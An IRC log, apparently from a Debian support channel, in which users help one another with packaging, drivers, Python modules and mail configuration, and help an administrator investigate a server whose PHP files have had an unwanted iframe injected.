| 20:18.08 | stew | Haris: and one of your users put them there? |
| 20:18.18 | Haris | No idea woh did |
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| 20:18.27 | marcz908 | jelly-home: nope, let me fix that :-) |
| 20:18.29 | Haris | I was told this was added to an /index.php |
| 20:18.46 | stew | Haris: who has access to those files? |
| 20:19.01 | Haris | I checked ftpd logs, couldn't find anything unusual |
| 20:19.10 | infinity0 | how do i make aptitude NOT install recommended packages? |
| 20:19.22 | Haris | I have just not looked into apache's logs though |
| 20:19.24 | Lateralus | I'm looking for information about making a "-dev" package, specifically whatever pieces of configure.ac/makefile.am/rules etc that may be necessary to install header files. I'm currently reading http://www.debian.org/doc/maint-guide/index.en.html#contents and have been googling, does anyone know a search term that would get me close? |
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| 20:19.45 | tarzeau | Lateralus: just look at an example pkg? |
| 20:19.57 | stew | Haris: so they weren't ftped there and they weren't edited by someone via ssh? then how? via console? i don't know how you eliminated a webserver vulnerability? |
| 20:19.59 | jelly-home | Haris: if you're serving php scripts, apache logs are the first thing to look at. |
| 20:20.44 | Lateralus | tarzeau: such as? Packages generally do not contain any build related files, do they? eg, .ac, .in, .am files? |
| 20:21.03 | xpato | hi, i have a console app (perl) that excutes on a remote server, the client connect to the app via ssh using xterm, i would like to know how can i make the app print on the local client printer |
| 20:21.08 | xpato | thanks |
| 20:21.32 | stew | Haris: if you have files that are being modified when it doesn't appear that they should be able to be modified by normal means, then I'd say it does in fact sound like you've been hacked, in which case, you should completely reinstall that machine from trusted media |
| 20:22.01 | tarzeau | Lateralus: for example: http://packages.debian.org/search?suite=default§ion=all&arch=any&searchon=names&keywords=libmad0-dev |
| 20:22.25 | tarzeau | Lateralus: apt-get source libmad and look at it |
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| 20:23.19 | Haris | stew: When a box is hacked, its hacked for a purpose |
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| 20:23.29 | Haris | stew: I haven't lost control over it |
| 20:23.35 | Haris | Nothing wild has happened |
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| 20:23.52 | stew | Haris: how do you know? how do you know that it hasn't been backdoored? |
| 20:23.55 | Silvia | wheres the pipe symbol '|' |
| 20:23.56 | Silvia | ?? |
| 20:24.04 | Haris | I have no reason to get it rebuilt at this point. |
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| 20:24.14 | stew | Haris: if it has been hacked, that is a reason |
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| 20:24.23 | tarzeau | Silvia: right below the backspace key? |
| 20:24.30 | Haris | a backdoor would leave some files or a process running |
| 20:24.33 | stew | Haris: if people have ways of editing files that you don't know about, then you are not seemingly in full control of the box |
| 20:24.47 | Haris | or setup a cron job |
| 20:24.54 | stew | Haris: yes, and there are lots of processes running on that box |
| 20:25.13 | Haris | That's quite a big assumption |
| 20:25.14 | stew | Haris: and you don't even know if you have a way to list all of the running processes |
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| 20:25.40 | stew | Haris: if the box wasn't hacked. how did your .php files get edited? |
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| 20:25.46 | stew | Haris: (without making any assumptions) |
| 20:25.52 | utopia_ | does anyone know of a n64 emulator for linux? |
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| 20:26.05 | Haris | How does one list all running processes? |
| 20:26.21 | Haris | That's what I am working on finding out |
| 20:26.28 | utopia_ | Haris, ps aux |
| 20:26.32 | stew | Haris: normally with ps. but you can no longer trust ps, nor your kernel to not lie to you |
| 20:26.33 | jelly-home | ... |
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| 20:26.33 | utopia_ | is what i use |
| 20:26.46 | Haris | stew: lol |
| 20:26.54 | Haris | right now you'r sounding like Bush |
| 20:27.07 | sam_home | anyone know how to change icewesel plugins? |
| 20:27.15 | stew | Haris: how did you php files get edited? |
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| 20:27.25 | Haris | I'm still working on finding out <- |
| 20:27.31 | Haris | how |
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| 20:28.21 | jelly-home | Haris: were your php files by any chance writable by the user apache is running as (in Debian, www-data by default)? |
| 20:28.39 | stew | Haris: who has permission to edit them? (what is the ownership / permissions of the files) |
| 20:28.53 | Haris | jelly-home: ..checking.. |
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| 20:30.47 | Haris | afaict, index is not world writable |
| 20:31.12 | stew | Haris: what does "ls -l index" say? |
| 20:32.31 | Haris | # ls -l index |
| 20:32.31 | Haris | ls: index: No such file or directory |
| 20:32.36 | Haris | where should this be run? |
| 20:32.45 | Haris | in what context? |
| 20:32.47 | stew | < Haris> afaict, index is not world writable |
| 20:32.50 | stew | what file were you talking about? |
| 20:32.56 | Haris | sorry! |
| 20:33.00 | Haris | that's index.php |
| 20:33.02 | stew | Haris: run "ls -l /path/to/whatever/file/was/altered" |
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| 20:33.20 | Haris | # ls -l index.php |
| 20:33.20 | Haris | -rw-r--r-- 1 supplies psacln 5317 2007-10-05 07:22 index.php |
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| 20:33.31 | Haris | its not writable by apache |
| 20:33.45 | stew | Haris: so if that file was altered. it was either altered by supplies or it was altered by root. |
| 20:33.46 | Lateralus | tarzeau: thanks for your help |
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| 20:33.52 | Haris | the perm suggests it could only be written by someone logged in via shell or ftp |
| 20:33.53 | marcz908 | is there a way to tell which package supplies a certian program? for example I am trying to dpkg --purge portmap but I don't know which package portmap belongs to |
| 20:34.05 | stew | Haris: and that means that either someone who has access to one account or the other is doing malicious things on your box |
| 20:34.15 | Haris | I can't see anyone logged in via root in last -a |grep pts output |
| 20:34.35 | Haris | only root logs in to the box via shell |
| 20:34.46 | Haris | and 95% of the time its my IP |
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| 20:35.11 | DJ-Marcuzz | ok, jet another problem: i installed cups, i changed the config to allow connectiions from 192.168.*.* (why the hell should a server have an web browser?) bu when i browse to it and go to admin, it says upgrade needed :-/ |
| 20:36.00 | stew | Haris: how can the supplies account have changed it? do they have some other way to login and change files? |
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| 20:36.28 | chantanito | hi |
| 20:36.41 | chantanito | does anyone here have used ldtp? |
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| 20:36.52 | chantanito | 'cuz i'm havin' an error on lenny... |
| 20:36.55 | chantanito | http://paste.debian.net/39155 |
| 20:37.09 | dcnoye | looking for a good example of dpkg-scanpackages ..... |
| 20:37.22 | tarzeau | dcnoye: for what? |
| 20:37.25 | peterS | dcnoye: dpkg-scanpackages . /dev/null | gzip > Packages.gz |
| 20:37.41 | tarzeau | dcnoye: here's mine: http://gnu.ethz.ch/debian/update |
| 20:37.55 | stew | Haris: in any case. if someone unauthorized was able to change files on your box without your knowing it, you can no longer trust the box. if they got root access you certainly should not give the output of 'last' much trust |
| 20:37.57 | dcnoye | i want to build my own repository for custom rolled debs |
| 20:38.24 | tarzeau | dcnoye: ah for that i just use dput and debarchiver |
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| 20:39.01 | tarzeau | dcnoye: http://wiki.debian.org/Enterprise#head-bb380fa5a8376438e235ff053c0ad5e71541d0ed |
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| 20:39.59 | dcnoye | may i ask, where is you repository ? |
| 20:40.10 | tarzeau | dcnoye: at work |
| 20:40.19 | Haris | stew: not that the box remembers |
| 20:40.27 | tarzeau | dcnoye: my private repos are at gnu.ethz.ch/debian/ but they are not indexed |
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| 20:40.57 | dcnoye | thank you |
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| 20:41.48 | dcnoye | tarzeau: any other advise ? |
| 20:41.55 | stew | Haris: then you should reinstall the box from trusted media |
| 20:42.04 | tarzeau | dcnoye: no, i like dput/debarchiver |
| 20:42.19 | tarzeau | dcnoye: we've got i386,sparc,amd64 repos.. works like a champion |
| 20:42.28 | Flimzy | My company has a need to create a very limited Debian archive for amd64 and source, for just a couple hundred packages. I cannot find any partial mirroring tools that seem very robust. It seems I either need to provide a list of specific packages to mirror, or it doesn't support source packages... Has anyone here set up such a partial mirror in the past? |
| 20:43.00 | dondelelcaro | Flimzy: depends on how partial it is |
| 20:43.05 | stiv2k | O/T i have this CD-RW that is reflective on both sides, but one side has more of a greenish tint... which way do i load it into the CD tray? |
| 20:43.17 | dcnoye | tarzeau: does indexing make it automatic ? |
| 20:43.18 | dondelelcaro | stiv2k: generally the more genish |
| 20:43.18 | tarzeau | Flimzy: i've created some scripts here: http://gnu.ethz.ch/debian-lzma/ |
| 20:43.19 | dkr | green down |
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| 20:43.26 | stiv2k | dondelelcaro: greenish side down? |
| 20:43.33 | dondelelcaro | stiv2k: generally, yes. |
| 20:43.36 | tarzeau | Flimzy: shouldn't be too hard to get the packages you want and have them indexed |
| 20:43.38 | Flimzy | dondelelcaro: Well, probably 100-300 packages, and partial enough to not violate GPL when we distribute the software :) |
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| 20:43.56 | Flimzy | dondelelcaro: thanks, I'll take a look |
| 20:43.59 | tarzeau | dcnoye: debarchiver does it, yes |
| 20:44.05 | tarzeau | Flimzy: what company is that? |
| 20:44.09 | Haris | 14MB of output to check |
| 20:44.20 | dcnoye | tarzeau: sweet |
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| 20:45.35 | Haris | many! files have this text. |
| 20:45.37 | Flimzy | tarzeau: A small software company nobody has ever heard of :) |
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| 20:46.07 | dkr | a member of "the long tail" |
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| 20:46.51 | Haris | waw! |
| 20:47.04 | ringo999_ | im running debian etch with xfce4, what would i use in order to report battery status? |
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| 20:48.06 | stew | ringo999_: isntall acpi ; modprobe battery ; and run "acpi" |
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| 20:48.27 | valdyn | ringo999_: your xfce battery applet |
| 20:50.09 | ringo999_ | stew: nice |
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| 20:50.46 | stew | ringo999_: if you 'modprobe thermal' and run 'acpi -V' you may get temperature information as well |
| 20:51.52 | ringo999_ | stew: amazing |
| 20:52.14 | Haris | 3165 occurances |
| 20:52.33 | ringo999_ | valdyn: works as well, great |
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| 20:53.45 | ringo999_ | now I would like to get speedstep-centrino kernel module working, how do i do that? |
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| 20:54.10 | valdyn | !cpufrequtils |
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| 20:54.43 | valdyn | ringo999_: aptitude install cpufrequtils and edit /etc/default/cpufrequtils |
| 20:54.59 | Kartoffelsalat | how can i log what i do via shell? (not only one operation, all till i shutdown the system) |
| 20:55.17 | valdyn | Kartoffelsalat: with script |
| 20:55.30 | Kartoffelsalat | hm :/ |
| 20:55.56 | Haris | ok 3165 occurances in a single day couldn't have come from ssh or ftp. Only from apache or php's vulnerability |
| 20:56.13 | valdyn | Kartoffelsalat: that's in 'bsdutils' |
| 20:56.25 | stew | Haris: does apache / php have the ability to run code as the 'supplies' user? |
| 20:56.27 | Kartoffelsalat | valdyn: ok, thanks - i will try it |
| 20:56.41 | ringo999_ | valdyn: but dont i have to install the speedstep-centrino kernel module first? |
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| 20:56.58 | valdyn | ringo999_: as root run 'modinfo speedstep-centrino' |
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| 20:57.12 | valdyn | ringo999_: you already have it =p |
| 20:57.23 | stew | Haris: and wait, 3165 occurances of what? |
| 20:57.24 | valdyn | ringo999_: maybe you really meant 'load it' ? |
| 20:57.40 | ringo999_ | valdyn: yep, i get something... |
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| 20:57.54 | moldy | hi |
| 20:57.54 | valdyn | ringo999_: just read and edit /etc/default/cpufrequtils, its all there |
| 20:57.58 | Haris | if the 'should not be here' iframe tag |
| 20:58.03 | Haris | if=of |
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| 20:58.19 | Haris | apache has 2 pids running as root, and the rest as www-data |
| 20:58.26 | moldy | on my stable box, /usr/lib/python2.4/site-packages/python-support.pth is a broken symlink, which breaks some python programs. is this a debian problem? how do i fix this? |
| 20:59.17 | valdyn | ringo999_: hmm, not everything.. you run 'modprobe speedstep-centrino' for now, and 'echo speedstep-centrino >> /etc/modules' for next reboot |
| 20:59.17 | dondelelcaro | dpkg: find site-packages/python-support.pth |
| 20:59.23 | dpkg | Debian Search of 'site-packages/python-support.pth' (1): (/usr/lib/python2.3/site-packages/python-support.pth, /usr/lib/python2.4/site-packages/python-support.pth, /usr/lib/python2.5/site-packages/python-support.pth) in python/python-support. |
| 20:59.29 | DJ-Marcuzz | when i try to acces my cups interface with https the cups server crashes, and i cant even het in by http, only a restart helps and it crashes again weh trying https |
| 20:59.56 | valdyn | cups supports https? |
| 21:00.03 | dondelelcaro | moldy: try reinstalling python-support for starters, or look at where the python-support.pth symlink is pointing at and reinstall whatever package it is pointing at |
| 21:00.16 | moldy | dondelelcaro: the link points to /var/lib/python-support/python2.4/.path, but /var/lib/python-support is empty |
| 21:00.27 | dondelelcaro | moldy: yeah, try reinstalling python-support |
| 21:00.31 | moldy | dondelelcaro: i tried reinstalling python-support but that did not fix it |
| 21:00.32 | valdyn | wow, it does |
| 21:00.39 | ringo999_ | valdyn: yeah, but when i try to cat the specified files in /etc/default/cpufrequtils it wouldnt find it... |
| 21:00.47 | DJ-Marcuzz | valdyn, even better, it redirects you automaticly when loging in :-/ |
| 21:00.48 | moldy | dondelelcaro: or no, wait, i did not actualy reinstall it. sorry. |
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| 21:01.07 | stew | Haris: run "ps uw pid1 pid2" for the two pids of the apache processes running as root, and put the output into a pastebin: /msg dpkg pastebin |
| 21:01.14 | valdyn | ringo999_: when you do WHAT? |
| 21:01.27 | valdyn | ringo999_: why use 'cat' ? |
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| 21:02.06 | moldy | dondelelcaro: now aptitude reinstalled it. problem remains |
| 21:02.08 | simonrvn | because his dog is lost :/ |
| 21:02.20 | ringo999_ | valdyn: cat /sys/devices/system/cpu/cpu0/cpufreq/scaling_available_governors |
| 21:02.34 | ringo999_ | valdyn: cat /sys/devices/system/cpu/cpu0/cpufreq/scaling_available_frequencies |
| 21:02.42 | dondelelcaro | moldy: ok, /var/lib/python-support/python2.4/.path should exist and it should be installed when python and/or python2.4 is installed after python-support iirc. |
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| 21:02.49 | valdyn | ringo999_: speedstep-centrino needs to be loaded first |
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| 21:03.06 | moldy | dondelelcaro: ok, reinstalling python |
| 21:03.18 | valdyn | ringo999_: assuming you really have a pentium M |
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| 21:03.26 | scrillaz | hello i can't understand why every 6.24am in the morning my pc works extra hard for a couple minutes? |
| 21:03.28 | DJ-Marcuzz | anyone? |
| 21:03.37 | tarzeau | scrillaz: maybe some cronjobs? |
| 21:03.39 | simonrvn | scrillaz: cron.daily |
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| 21:03.43 | stiv2k | scrillaz: got a cron job scheduled? |
| 21:03.43 | scrillaz | ok |
| 21:03.48 | scrillaz | i run debian testing |
| 21:03.53 | scrillaz | not sure |
| 21:03.57 | moldy | dondelelcaro: reinstalled python, but /var/lib/python-support is still empty |
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| 21:04.01 | Haris | nothing special in the output |
| 21:04.12 | scrillaz | how do i find out stiv2k? |
| 21:04.12 | ringo999_ | valdyn: to bad, only one governer available, performance |
| 21:04.13 | Haris | http://pastebin.ca/730069 |
| 21:04.20 | dondelelcaro | moldy: and python2.4? |
| 21:04.23 | valdyn | ringo999_: why's that bad? |
| 21:04.31 | stiv2k | scrillaz: i cant remember exactly where the cron files are located |
| 21:04.34 | scrillaz | k |
| 21:04.38 | stiv2k | scrillaz: /etc/cron....something |
| 21:04.41 | moldy | dondelelcaro: which python2.4? |
| 21:04.47 | scrillaz | ok will chx it |
| 21:04.49 | scrillaz | thnx |
| 21:04.50 | ringo999_ | valdyn: well i dont know, i would rather like to throttle my machien down |
| 21:04.52 | dondelelcaro | moldy: -minimal should do it |
| 21:04.52 | stiv2k | scrillaz: look in the files see what's scheduled to run and when |
| 21:04.52 | stiv2k | np |
| 21:04.53 | stew | Haris: is apache configured to run things as the supplies user? |
| 21:05.03 | mumbles | has anyone got 3ddesktop to work ? |
| 21:05.05 | valdyn | ringo999_: '/etc/init.d/cpufrequtils start' |
| 21:05.07 | Haris | cgi scripts? |
| 21:05.14 | stew | Haris: anything |
| 21:05.26 | moldy | dondelelcaro: sorry, "-minimal" means what exactly? |
| 21:05.26 | Haris | this iframe tries to load a movie and a <Script Language='JavaScript'> code snippet |
| 21:05.28 | stew | Haris: like is suexec enabled? |
| 21:05.29 | ringo999_ | valdyn: first i will set max and min |
| 21:05.36 | dondelelcaro | moldy: python2.4-minimal |
| 21:05.58 | valdyn | ringo999_: if you must.. that's normally not very useful |
| 21:06.14 | scrillaz | k |
| 21:06.21 | moldy | dondelelcaro: /var/lib/python-support is still empty after reinstalling python2.4-minimal |
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| 21:07.05 | dondelelcaro | moldy: hrm... try update-python-modules --force-rebuild-all |
| 21:07.51 | moldy | dondelelcaro: that only takes a few seconds, and that dir is still empty |
| 21:08.08 | dondelelcaro | ugh. that means that you probably have to go through and use update-python-modules -i foomodule; |
| 21:08.11 | dondelelcaro | for every module |
| 21:08.18 | ringo999_ | valdyn: so will this automatically work on next reboot? |
| 21:08.26 | moldy | dondelelcaro: ugh that sucks |
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| 21:08.33 | dondelelcaro | moldy: basically you or someone else deleted that entire directory, which contains all of the byte compiled python modules |
| 21:08.35 | Haris | There is no binary with the name suexec on this box |
| 21:08.37 | valdyn | ringo999_: yes, if you added speedstep-centrino to /etc/modules |
| 21:08.42 | moldy | dondelelcaro: and "module" means what exactly here? |
| 21:08.53 | dondelelcaro | moldy: the alternative is to just go through and try reinstalling all of the python modules |
| 21:09.02 | Haris | Sorry |
| 21:09.12 | ringo999_ | i hope i will be able to remember that all |
| 21:09.17 | Haris | its there, but with a different name |
| 21:09.21 | dondelelcaro | moldy: update-python-modules -i /usr/share/python-support/python-foo; etc. |
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| 21:09.38 | stew | Haris: does /etc/apache2/mods-enabled/suexec.load exist? |
| 21:09.43 | dondelelcaro | moldy: and at least, I think that'll do what you want. [I don't package python modules; I do work in perl.] |
| 21:09.46 | Haris | yes |
| 21:09.56 | moldy | dondelelcaro: thanks so far. hmm, i sure did not delete that stuff. |
| 21:09.57 | Haris | /etc/apache2/mods-available/suexec.load |
| 21:09.57 | Haris | /etc/apache2/mods-enabled/suexec.load |
| 21:10.02 | dondelelcaro | moldy: well, something did |
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| 21:10.25 | moldy | dondelelcaro: plone's unified installer maybe. it's about the only non-debian thing i installed on that machine |
| 21:10.33 | dondelelcaro | moldy: could be |
| 21:10.38 | Haris | I usually rebuild apache on cpanel boxes without suexec support |
| 21:10.53 | dondelelcaro | there's no point; just don't load the module |
| 21:11.04 | dondelelcaro | it's not like having suexec support is a big deal anyway |
| 21:11.10 | Haris | but this box is sarge w/ plesk |
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| 21:11.26 | moldy | dondelelcaro: update-modules -i /usr/share/python-support? |
| 21:11.43 | dondelelcaro | moldy: python-support/python-foomodule |
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| 21:11.54 | ringo999_ | valdyn: oh well, i will figure it out. thanks a lot for the help. |
| 21:11.57 | moldy | dondelelcaro: and foomodule would be what? |
| 21:12.00 | Haris | cpanel people are decent enough to give free support when their thing craps up. plesk charges money :| |
| 21:12.04 | dondelelcaro | moldy: the name of the module to install |
| 21:12.05 | stew | Haris: then suexec is likely a likely candidate as to how these files have gotten changed, since these files were not changed by the webserver account but by supplies or root |
| 21:12.06 | synx | Did anyone notice totem-gstreamer suddenly stop working? I think it might have to do with updating X. |
| 21:12.18 | dondelelcaro | moldy: you may find it easier to just reinstall the modules, though |
| 21:12.32 | dondelelcaro | moldy: try reinstalling one to see if it helps |
| 21:12.34 | moldy | dondelelcaro: unfortunately i have no idea how to find out what the mpdule in question is |
| 21:12.40 | dondelelcaro | moldy: all of them |
| 21:12.53 | dondelelcaro | (is the answer) ;-) |
| 21:13.10 | moldy | and how do i determine how they are named? |
| 21:13.17 | dondelelcaro | moldy: ls -l /usr/share/python-support |
| 21:13.44 | ringo999_ | next problem: i want to change network card from dhcp to static ip, or even better, make it so i can choose between them easy depending on what network im using. how to do? |
| 21:13.46 | moldy | dondelelcaro: that is almost empty |
| 21:13.55 | dondelelcaro | something like find /usr/share/python-support/ -type d -maxdepth 1 -mindepth 1 |xargs -n 1 update-python-modules -i ; will probably do it |
| 21:14.01 | azeem | ringo999_: edit /etc/network/interfaces |
| 21:14.04 | moldy | dondelelcaro: 3 .dirs files in there and nothing else |
| 21:14.17 | azeem | ringo999_: or check network-manager, if this is a desktop |
| 21:14.28 | dondelelcaro | moldy: do you not have any modules installed? |
| 21:14.31 | moldy | dondelelcaro: aap.dirs mailman.dirs python-support.dirs # that's it |
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| 21:15.06 | moldy | dondelelcaro: i have some installed... at least i did install them once |
| 21:15.07 | Nihill | what is the difference btween openssh-client and openssh-server? |
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| 21:15.28 | ringo999_ | azeem: but i have to edit this file everytime i change network? there is no other more comfortable way? |
| 21:15.38 | moldy | dondelelcaro: i just did a "aptitude reinstall python-mysqldb", but /usr/share/python-support still contains only those 3 .dirs files |
| 21:15.51 | stew | Nihill: the server is what you would put on a machine to allow remote users to login to that machine. the client is what you would install on a machine to be able to login to other machines with |
| 21:15.53 | Haris | suexec.log sure doesn't show their uid in it |
| 21:16.05 | Nihill | thanks stew |
| 21:16.09 | Haris | It was accessed after months on 7th Oct. |
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| 21:16.42 | stew | Haris: in any case. you should reinstall this box, it is quite clear that people have been able to gain unauthorized access to it |
| 21:17.02 | azeem | ringo999_: is this a notebook? |
| 21:17.06 | moldy | dondelelcaro: running update-python-modules -f -v shows that it only rebuilds stuff for mailman and aap |
| 21:17.17 | ringo999_ | azeem: yep |
| 21:17.27 | azeem | ringo999_: did you read my second suggestion? |
| 21:17.53 | moldy | dondelelcaro: and /var/lib/python-support is still an empty directory after reinstalling python-mysqldb |
| 21:18.01 | Haris | It's bound to happen again with the versions of php available for debian atm. |
| 21:18.07 | ringo999_ | azeem: by desktop you mean desktop pc, or desktop environment |
| 21:18.15 | azeem | ringo999_: I mean, not a server |
| 21:18.38 | ringo999_ | ok, no its not a server |
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| 21:18.50 | ringo999_ | network manager is a package? |
| 21:18.59 | stew | Haris: which vulnerabilities are you referring to? |
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| 21:19.21 | valdyn | ringo999_: why dont you search it? |
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| 21:19.48 | valdyn | or search for it even |
| 21:19.51 | AVRS2 | night |
| 21:20.05 | moldy | dondelelcaro: any ideas left? :) |
| 21:20.19 | dondelelcaro | moldy: try pycentral rtinstall --ignore-errors=yes 2.4; |
| 21:20.23 | ringo999_ | valdyn: i got it |
| 21:20.31 | dondelelcaro | moldy: err, pycentral rtinstall --ignore-errors=yes python2.4; |
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| 21:21.02 | ringo999_ | how do i make use of it? |
| 21:21.22 | valdyn | ringo999_: you need to use the gnome or kde applet |
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| 21:21.38 | moldy | dondelelcaro: ok thanks, will try in a minute |
| 21:21.57 | moldy | dondelelcaro: i just ran aptitude search python|grep ^i and am now reinstalling all that stuff |
| 21:22.12 | valdyn | ringo999_: maybe there's a command line client too, i wouldnt know that |
| 21:22.24 | ringo999_ | valdyn: hmm. im using xfce4, would those work with that? |
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| 21:22.38 | chantanito | hi |
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| 21:22.48 | valdyn | ringo999_: no idea |
| 21:22.55 | chantanito | how can see the processes and their child processes? |
| 21:22.57 | moldy | dondelelcaro: pycentral: error: no such option: --ignore-errors |
| 21:23.00 | chantanito | -ps ? |
| 21:23.05 | chantanito | please... |
| 21:23.12 | valdyn | ringo999_: there's a ton of less integrated and less sophisticated solutions beside network-manager |
| 21:23.22 | moldy | dondelelcaro: ran it without --ignore-errors, but /var/lib/python-support still empty |
| 21:23.38 | chantanito | ps -ef |
| 21:24.02 | ringo999_ | valdyn: and sorry to bother you so much, i installed the ipw3945 modules, but now what? ipw3945d should be running, but where should i see if wifi works or not? |
| 21:24.10 | dondelelcaro | moldy: well, someone else may have an idea then; I don't know enough about the python internals to tell you definitively what to do |
| 21:24.25 | moldy | dondelelcaro: ok, thanks alot, anyway |
| 21:24.28 | dondelelcaro | (at least, not without spending a long time digging, which I don't really want to do right now) |
| 21:24.29 | valdyn | ringo999_: you never read documentation, do you? |
| 21:24.34 | valdyn | !ipw3945 |
| 21:24.34 | dpkg | If you're running a recent version of Debian (etch or greater), do the following: add contrib and non-free entries in your sources.list and aptitude update; aptitude install ipw3945-modules-2.6-686 firmware-ipw3945 ipw3945d; If you are not using the 686 kernel, replace the 686 with the kernel variant you are using (486) |
| 21:25.46 | Haris | I forget the website name, where to check open CVE issues for a package, I was told yesterday |
| 21:25.55 | ringo999_ | valdyn: but i did that? |
| 21:26.08 | valdyn | ringo999_: i don't know what you did |
| 21:26.36 | ringo999_ | i executed the aptitude command in the dpkg hint after changing my sources |
| 21:26.57 | valdyn | ringo999_: if your ipw3945 is working, then 'ifconfig -a' will list it |
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| 21:27.49 | valdyn | what's the point of using xfce anyway? |
| 21:27.54 | ringo999_ | valdyn: its not. :-( |
| 21:28.01 | valdyn | ( i dont mean to bash it really, just curious ) |
| 21:28.02 | Haris | I can just find http://www.us.debian.org/security/2007/dsa-1264 atm. |
| 21:28.06 | ringo999_ | valdyn: whats wrong with it? its more lightweight? |
| 21:28.26 | valdyn | ringo999_: i wonder if its really more lightweight once you have to start a webbrowser |
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| 21:28.58 | ringo999_ | valdyn: i just like xfce, nice and easy |
| 21:29.02 | valdyn | ringo999_: or do the have their own now? |
| 21:29.05 | valdyn | ringo999_: i see |
| 21:29.08 | stew | Haris: in any case. if you reinstall and there are a few known remote vulnerabilities to php, you'd still be in a much better situation than you are in now, with an unknown remote root vulnerability |
| 21:29.33 | ringo999_ | valdyn: any other idea what i can do about my wifi...it normally should be working |
| 21:29.51 | valdyn | ringo999_: is it listed in ifconfig -a ? |
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| 21:30.39 | ringo999_ | no, i dont think so, there is one device that i dont know what it is, sit0, but it doesnt look like wifi |
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| 21:30.46 | ringo999_ | iwconfig doesnt list it either |
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| 21:31.43 | valdyn | ringo999_: check that ipw3945-modules-2.6-686 firmware-ipw3945 ipw3945d are installed ( or whatever matches your kernel ) |
| 21:32.24 | ringo999_ | valdyn: that could be it |
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| 21:33.40 | ringo999_ | valdyn: my kernel is |
| 21:33.43 | Lateralus | tarzeau: I've been checking out examples, I'm no closer. What I really need is documentation, as I do not understand what is required here. Thus far I've been able to get a package that fails when I run dpkg-buildpackage, "make[2]: *** No rule to make target `harmony.h', needed by `all-am'. Stop." |
| 21:33.49 | michela | hi, trying to install a debian package on amazon ec2, what package installs dpkg-parsechangelog and dpkg-architecture? |
| 21:34.12 | stew | michela: /msg dpkg apt-file |
| 21:34.25 | ringo999_ | 2.6.18-5-686, but i cant find a package that is extactly that version, rather only 2.6.-686, should that be enough? |
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| 21:34.35 | Wyzard | In /etc/aliases for Postfix, is it allowed for aliases to refer to each other? |
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| 21:34.47 | tarzeau | Lateralus: great document about makefiles: http://users.actcom.co.il/~choo/lupg/tutorials/writing-makefiles/writing-makefiles.html |
| 21:34.54 | Wyzard | i.e. if I have a line that says "postmaster: root" and another line that says "root: wyzard", will mail sent to postmaster get delivered to wyzard? |
| 21:34.56 | valdyn | ringo999_: yes |
| 21:34.59 | jelly-home | Wyzard: yes. |
| 21:35.03 | Wyzard | nifty, thanks |
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| 21:35.14 | Lateralus | tarzeau: thanks, I'll read it |
| 21:35.23 | Haris | If I upgrade a package or a list of packages on debian, is there anyway to fall back to the old version? |
| 21:35.47 | Haris | Wyzard: Absolutely |
| 21:35.49 | tarzeau | Haris: yes using dpkg -i theold.deb |
| 21:35.50 | michela | stew, thanks |
| 21:36.06 | ringo999_ | valdyn: well then its all installed |
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| 21:36.38 | jelly-home | Haris: there is no general way to downgrade. some packages might work if you just install the older version, others might break horribly. |
| 21:36.38 | Haris | Wyzard: I redirect mails for several emailIDs like this |
| 21:36.40 | azeem | Haris: downgrades are not supported in general |
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| 21:36.54 | Wyzard | Haris: Thanks, good to know |
| 21:36.59 | valdyn | ringo999_: lsmod | grep ipw39 |
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| 21:37.28 | Wyzard | Haris: I'm setting up a test configuration (in a VM) for what'll eventually be an Internet mailserver, which I've never done before :-) |
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| 21:37.54 | Haris | postfix? |
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| 21:38.10 | Wyzard | Postfix or Exim... haven't decided yet |
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| 21:38.35 | Wyzard | I don't need virtual hosting or anything, just a single domain with a handful of users |
| 21:39.24 | Haris | I'm learning to make virtual domains. Then combining them with non-virtual accounts, then branded mail, etc etc |
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| 21:40.15 | Guerin | `branded mail'? Buzzword alert. |
| 21:40.19 | Wyzard | I set up email virtual hosting once, years ago, with Postfix and a PostgreSQL database IIRC |
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| 21:41.00 | xand | gah, stop pinging |
| 21:41.01 | Guerin | i did the same with mysql |
| 21:41.08 | xand | !sarge->etch |
| 21:41.08 | dpkg | sarge->etch is read the etch release notes: http://www.debian.org/releases/stable/releasenotes ; the recommended upgrade procedure for sarge->etch is no longer as simple as running "aptitude dist-upgrade", please follow the prodedure in the <release notes>. also ask me about <security> |
| 21:41.12 | Guerin | it was such a mission I haven't had the heart to touch it since |
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| 21:41.25 | petemc | i do the same with flat files, fuck databases! |
| 21:41.28 | Xyhthyx | Is there a way to invoke an automatic detection+configuration of net devices? After coming back from hibernate my eth0 dissapears. |
| 21:41.33 | Wyzard | Guerin: hehe, yeah, same here |
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| 21:41.47 | valdyn | Xyhthyx: on a notebook? |
| 21:41.49 | Wyzard | Guerin: though that mailserver isn't in use anymore, fortunately |
| 21:41.51 | DawnLight | can anyone explain to me how to pull out a pentium ii out of it's socket? |
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| 21:42.00 | ringo999_ | valdyn: yeah it finds somethin http://pastebin.com/m652588c0 |
| 21:42.03 | Xyhthyx | valdyn: Yeah. |
| 21:42.03 | DawnLight | or slot |
| 21:42.10 | valdyn | Xyhthyx: using gnome or kde? |
| 21:42.16 | Xyhthyx | valdyn: Gnome. |
| 21:42.27 | Guerin | petemc: yours is the way of righteousness |
| 21:42.35 | valdyn | Xyhthyx: i'd use 'network-manager-gnome' on a laptop |
| 21:42.35 | Wyzard | DawnLight: IIRC, there are a pair of tabs on the top of the posts, which you squeeze inward (toward each other) to unlock them |
| 21:42.39 | petemc | heh |
| 21:42.44 | valdyn | Xyhthyx: and the 'nm-applet' |
| 21:42.47 | Wyzard | DawnLight: but it's been a long time since I've done that, so I'm not sure |
| 21:42.50 | valdyn | Xyhthyx: which is in that package |
| 21:43.00 | Haris | what I'd like to know is how to run mailing lists off |
| 21:43.04 | Haris | of exim |
| 21:43.16 | Haris | combined with virtual mail |
| 21:43.21 | DawnLight | Wyzard: that worked! |
| 21:43.26 | Xyhthyx | valdyn: I have it. My eth0 becomes what use to be my eth1 (wifi) and it doesn't work. Forcing me to reboot, making hibernating useless. |
| 21:43.44 | DawnLight | thing looks like a nintendo cartridge |
| 21:43.55 | valdyn | Xyhthyx: eth0 moves to eth1 after hibernate? |
| 21:44.14 | Xyhthyx | valdyn: Correct, in inactive state, and never activates neither. |
| 21:44.23 | Guerin | Xyhthyx: you should always kill the whole network on hibernate |
| 21:44.30 | valdyn | Xyhthyx: which framework are you using to hibernate? |
| 21:44.34 | Xyhthyx | Guerin: How? |
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| 21:44.49 | valdyn | ringo999_: check 'dmesg' for output from that driver |
| 21:44.57 | Guerin | Xyhthyx: stop it, remove the modules; then on unhibernate re-load the modules and restart. How you do this depends on the mechanism you use to hibernate. |
| 21:44.59 | Xyhthyx | valdyn: Don't know what you mean by framework, I'm using the hibernate command from terminal. |
